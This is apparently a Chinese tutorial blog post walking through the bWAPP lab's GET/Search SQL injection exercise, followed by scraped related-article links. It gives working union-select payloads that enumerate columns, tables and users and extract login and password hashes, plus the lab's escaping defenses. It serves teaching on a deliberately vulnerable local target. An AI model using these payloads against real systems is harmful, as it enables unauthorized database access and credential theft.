bWAPP练习--injection篇SQL Injection (GET/Search)
SQL注入:
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
LOW:
0x01:分析一下网站的后台源码
主要源代码:
if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
{
//将get方法获取的值赋值个title变量
$title = $_GET["title"];
//后台SQL查询语句
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
//对MySQL数据库进行查询
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
// die("Error: " . mysql_error());
?>
可以看到,后台对输入的值没有进行任何的过滤就直接对数据库进行查询了,这是个致命的漏洞。怎么进行防护,我们以后的课程再说,就是这个平台的high级别的方法。
0x02:测试分析
在输入框内输入一些数字,点击搜索

什么都没有出来。
网址栏:
http://127.0.0.1/sqli_1.php?title=1&action=search
我们再输入一些字符,输入一个e,点击搜索

可以看到出现很多内容,只要Title栏中带e的都会显示出来。
网址栏:
http://127.0.0.1/sqli_1.php?title=e&action=search
这样我们可以分析得出这里是一个字符型的get请求。
0x03:测试漏洞
接下来我们进行测试这里是否存在SQL注入漏洞
常用的方法:
'(英文符的单引号)报错测试大法
and和or测试大法
输入:
e'

点击搜索后

报错了,说明很大可能存在SQL注入漏洞了。
0x04:爆字段(字段就是这个数据表中的列)
使用的方法:
order by 语句
二分查找法
输入:
the' order by 10#

报错,说明字段数少于10
再输入:
the' order by 5#

这是个正常页面,表示没查到信息,没有爆出错误,说明字段数大于5小于10。
再输入:
the' order by 8#

8也报错,小于8
再输入:
the' order by 7#

发现没有报错,8报错,7没报错,说明字段数就是7了。
0x07:爆表(即获取当前数据表)
使用的技术
union select联合注入
输入:
the' union select 1,2,3,4,5,6,7#
这个1到7就是我们查出来这个表有的列

我们可以看到,出现了几个数字2、3、5、4
把一些内置函数替换这几个数字,会得出我们想要的东西。
例如
查看当前数据库名:
输入:
the' union select 1,database(),3,4,5,6,7#
我们将2替换成database()这个函数

可以看到原来Title栏的2变成了我们要查的当前数据库的名称bWAPP。
相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
这些函数,你们自己都尝试去替换里面的数字,一次性替换几个也行,只要这些数字都是我们利用联合查询查到的数字就行。
我查看MySQL的版本号和当前数据库名:
输入:
the' union select 1,database(),version(),4,5,6,7#

可以看到在Release栏出现MySQL的版本5.547。
暴数据表
输入:
the' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

可以看到,爆出了5个表,其中users表是一个比较重要的表,也是值得我们注意的表。
0x06:获取后台账户用户名和密码
先查看users表的所有的列的信息
输入:
the' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

其中的login和password,应该是我们有我们想要的东西。
那我们就去查出它们的信息
输入:
the' union select 1,login,password,4,5,6,7 from users#

在Title和Release栏把它们对应的账号和密码爆出了,其中密码是经过md5加密,我们需要去解密
Medium:
防护代码:
function sqli_check_1($data)
{ return addslashes($data); }
使用了addslashes()函数。
在php中,addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠;
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
High:
防护源码:
function sqli_check_2($data)
{ return mysql_real_escape_string($data); }
使用了mysql_real_escape_string()函数。
bWAPP练习--injection篇SQL Injection (GET/Search)的更多相关文章
- SQL injection
SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...
- Web for pentester_writeup之Commands injection篇
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
- Web for pentester_writeup之Code injection篇
Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...
- DVWA之 SQL Injection(Blind)
SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...
- ecshop /search.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...
- 梨子带你刷burp练兵场(burp Academy) - 服务器篇 - Sql注入 - SQL injection UNION attack, determining the number of columns returned by the query
目录 SQL injection UNION attack, determining the number of columns returned by the query SQL injection ...
- dedecms /plus/search.php SQL Injection && Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...
- SQL注入(SQL Injection)案例和防御方案
sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...
- How to prevent SQL injection attacks?
In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...
随机推荐
- ASP.NET中防止Access数据库下载
如何防止Access数据库下载是一个很老的话题了,网上的讨论也比较多.这里我们给出几种在ASP.NET下防止Access数据库被下载的方法. 我们这里假设Access数据库名字为 test.mdb. ...
- R3—日期处理
一. 问题引入 下面是一个房地产价格数据,现在想要提取2008年6月份的数据进行分析,在R中该如何操作呢? city price bedrooms squarefeet lotsize latitud ...
- 【洛谷 P3227】 [HNOI2013]切糕(最小割)
题目链接 每层每个位置向下一层这个位置连边,流量为下一层这个位置的\(f\),源点向第一层连,流量第一层每个位置的费用,最后一层向汇点连,流量\(INF\). 这样就得到了\(P*Q\)条链,不考虑\ ...
- IP判断 (字符串处理)
关于IP合法性判断的题目,每个oj上的约束条件不尽相同,我就根据自己做过的题目吧所有的约束条件汇总到一块,到时候做题时只需要把多余的越是条件删掉即可 题目描述: 对于IP我们总会有一定的规定,合法的I ...
- 解决 IE7 中 display:inline-block 失效的问题
我们在做首页菜单选项的时候,通常会用 li 标签去做,通过对 li 标签设置样式: display:inline-block 可以让 li 标签横排显示.但是这样做,在 IE7 浏览器下面会有一个兼容 ...
- es6新语法Object.assign()
1.介绍 Object.assign用于对象的合并,将源对象的所有可枚举属性复制到目标对象,只拷贝源对象自身的属性继承属性补考呗 Object.assign(target,source1,...)第一 ...
- 常见的bug
常见bug 一. Android系统功能测试设计的测试用例: a.对所测APP划分模块 b.详细列出每个模块的功能点(使用Xmind绘制功能图) c.使用等价类划分.边界值.场景法等对各功能点编写测试 ...
- 阿里分布式开源框架DUBBO 入门+ 进阶+ 项目实战视频教程
史诗级Java/JavaWeb学习资源免费分享 欢迎关注我的微信公众号:"Java面试通关手册"(坚持原创,分享各种Java学习资源,面试题,优质文章,以及企业级Java实战项目回 ...
- python设计模式之迭代器与生成器详解(五)
前言 迭代器是设计模式中的一种行为模式,它提供一种方法顺序访问一个聚合对象中各个元素, 而又不需暴露该对象的内部表示.python提倡使用生成器,生成器也是迭代器的一种. 系列文章 python设计模 ...
- 014 JVM面试题
转自:http://www.importnew.com/31126.html 本文从 JVM 结构入手,介绍了 Java 内存管理.对象创建.常量池等基础知识,对面试中 JVM 相关的基础题目进行了讲 ...